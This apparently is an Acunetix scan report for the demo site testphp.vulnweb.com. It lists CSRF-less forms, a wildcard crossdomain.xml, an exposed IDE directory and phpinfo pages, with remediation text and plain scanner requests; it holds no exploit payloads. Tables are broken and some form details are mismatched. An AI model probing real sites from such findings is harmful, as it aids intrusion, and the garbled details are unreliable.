<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td>Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.</td>
</tr>
<tr>
<td>Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.</td>
</tr>
</tbody>
</table>
### Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well-designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
</table>

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:
- searchFor [text]
- goButton [submit]
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

<table>
<thead>
<tr>
<th>/login.php</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>HTML form without CSRF protection</td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Alert variants

Form name: loginform
Form action: userinfo.php
Form method: POST

Form inputs:

- uname [text]
- pass [password]
- <empty> [submit]
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
</table>
| This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well-designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Alert variants

Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:
- searchFor [text]
- goButton [submit]

GET /product.php?pic=1 HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/product.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td></td>
<td>Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.</td>
</tr>
</tbody>
</table>
|                             | - The anti-CSRF token should be unique for each user session  
|                             | - The session should automatically expire after a suitable amount of time  
|                             | - The anti-CSRF token should be a cryptographically random value of significant length  
|                             | - The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm  
|                             | - The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)  
|                             | - The server should reject the requested action if the anti-CSRF token fails validation  |
|                             | When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected. |
| Alert variants              | Form name: f_addcart  
|                             | Form action: cart.php  
|                             | Form method: POST  |
| Details                     | Form inputs:  
|                             | - price [hidden]  
|                             | - addcart [hidden]  
|                             | - <empty> [submit]  |
GET /product.php?pic=1 HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description | This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well-designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: &lt;empty&gt;</td>
</tr>
<tr>
<td>Form action: search.php?test=query</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

Form inputs:

- searchFor [text]
- goButton [submit]
POST /search.php?test=query HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 25
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

```html
goButton=go&searchFor=the
```

<table>
<thead>
<tr>
<th>/signup.php</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>Medium</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td></td>
<td>Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.</td>
</tr>
<tr>
<td></td>
<td>Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the ‘Attack details’ section for more information about the affected HTML form.</td>
</tr>
</tbody>
</table>
## Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well-designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

<table>
<thead>
<tr>
<th>Alert variants</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: &lt;empty&gt;</td>
</tr>
<tr>
<td>Form action: search.php?test=query</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

Form inputs:

- searchFor [text]
- goButton [submit]

GET /signup.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description**

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

**Recommendations**

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

**Alert variants**

Form name: form1
Form action: /secured/newuser.php
Form method: POST

Form inputs:
- uuname [text]
- upass [password]
- upass2 [password]
- uname [text]
- ucc [text]
- uemail [text]
- uphone [text]
- uaddress [textarea]
- signup [submit]
GET /signup.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description**

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
## Recommendations
Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

## Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: &lt;empty&gt;</td>
</tr>
<tr>
<td>Form action: ../search.php?test=query</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

- searchFor [text]
- goButton [submit]

GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/userinfo.php
### Alert group

**HTML form without CSRF protection**

| Severity | Medium |

### Description

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

### Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

### Alert variants

| Details |

- Form name: <empty>
- Form action: search.php?test=query
- Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-WVS-ID: Acunetix-LSR/65535
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

uname=test&pass=test

<table>
<thead>
<tr>
<th>/userinfo.php</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>HTML form without CSRF protection</td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well-designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Alert variants

Form name: form1
Form action: <empty>
Form method: POST

Form inputs:
- <empty> [text]
- ucc [text]
- uemail [text]
- uphone [text]
- uaddress [textarea]
- update [submit]
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-WVS-ID: Acunetix-LSR/65535
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
uname=test&pass=test

<table>
<thead>
<tr>
<th>/hpp/</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
</tbody>
</table>
**Web Server**

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Insecure crossdomain.xml file</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description**

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:

```xml
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>
```

This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

**Recommendations**

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

**Alert variants**

Details

The crossdomain.xml file is located at /crossdomain.xml.
### Web Server

<table>
<thead>
<tr>
<th>Alert group</th>
<th>JetBrands .idea project directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

#### Description

The .idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file `dataSources.ids` contains information for connecting to the database and credentials. The `workspace.xml` file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system.

#### Recommendations

Remove these files from production systems or restrict access to the .idea directory. To deny access to all the .idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

```xml
<Directory ~ "\.idea">
    Order allow,deny
    Deny from all
</Directory>
```

#### Alert variants

workspace.xml project file found at : /idea/workspace.xml

Pattern found:

```xml
<project_version="4">
```
## Alert group

**Severity**
Medium

**Description**
Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found that the PHP `display_errors` directive is enabled.

**Recommendations**
Adjust `php.ini` or `.htaccess` (mod_php with Apache HTTP Server) to disable `display_errors` (refer to 'Detailed information' section).

### Alert variants

**Details**
This vulnerability was detected using the information from `phpinfo()` page.

```
GET /secured/phpinfo.php HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

---

### Web Server

## Alert group

**Severity**
Medium

**Description**
Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix AcuSensor found that the PHP `display_errors` directive is enabled.

**Recommendations**
Adjust `php.ini` or `.htaccess` (mod_php with Apache HTTP Server) to disable `display_errors` (refer to 'Detailed information' section).

### Alert variants

**Details**
Current setting is: `display_errors = 1`

---

### /secured/phpinfo.php

## Alert group

**Severity**
Medium

**Description**
The `open_basedir` configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, `fopen()` or `gzopen()`, the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. `open_basedir` is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the `open_basedir` restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited.
<table>
<thead>
<tr>
<th>Recommendations</th>
<th>You can set <code>open_basedir</code> from <code>php.ini</code></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>php.ini</strong></td>
<td><code>open_basedir = your_application_directory</code></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>This vulnerability was detected using the information from <code>phpinfo()</code> page.</td>
</tr>
<tr>
<td></td>
<td><code>open_basedir: no value</code></td>
</tr>
<tr>
<td>GET <code>/secured/phpinfo.php</code> HTTP/1.1</td>
<td></td>
</tr>
<tr>
<td>Cookie: <code>login=test%2Ftest</code></td>
<td></td>
</tr>
<tr>
<td>Accept: <code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code></td>
<td></td>
</tr>
<tr>
<td>Accept-encoding: <code>gzip, deflate</code></td>
<td></td>
</tr>
<tr>
<td>Host: <code>testphp.vulnweb.com</code></td>
<td></td>
</tr>
<tr>
<td>User-Agent: <code>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0</code></td>
<td></td>
</tr>
<tr>
<td>Connection: <code>Keep-alive</code></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><code>/secured/phpinfo.php</code></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>php.ini</strong></td>
</tr>
<tr>
<td><strong>.htaccess</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
GET /secured/phpinfo.php HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/secured/phpinfo.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>PHPinfo page (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>PHPinfo page has been found in this directory. The PHPinfo page outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Remove the file from production systems.</td>
</tr>
<tr>
<td>Alert variants</td>
<td>phpinfo() page found at : /secured/phpinfo.php. Pattern found: &lt;title&gt;phpinfo()&lt;/title&gt;</td>
</tr>
</tbody>
</table>

GET /secured/phpinfo.php HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/secured/phpinfo.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>PHPinfo page found</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
### Description
This script is using `phpinfo()` function. This function outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

### Recommendations
Remove the file from production systems.

### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
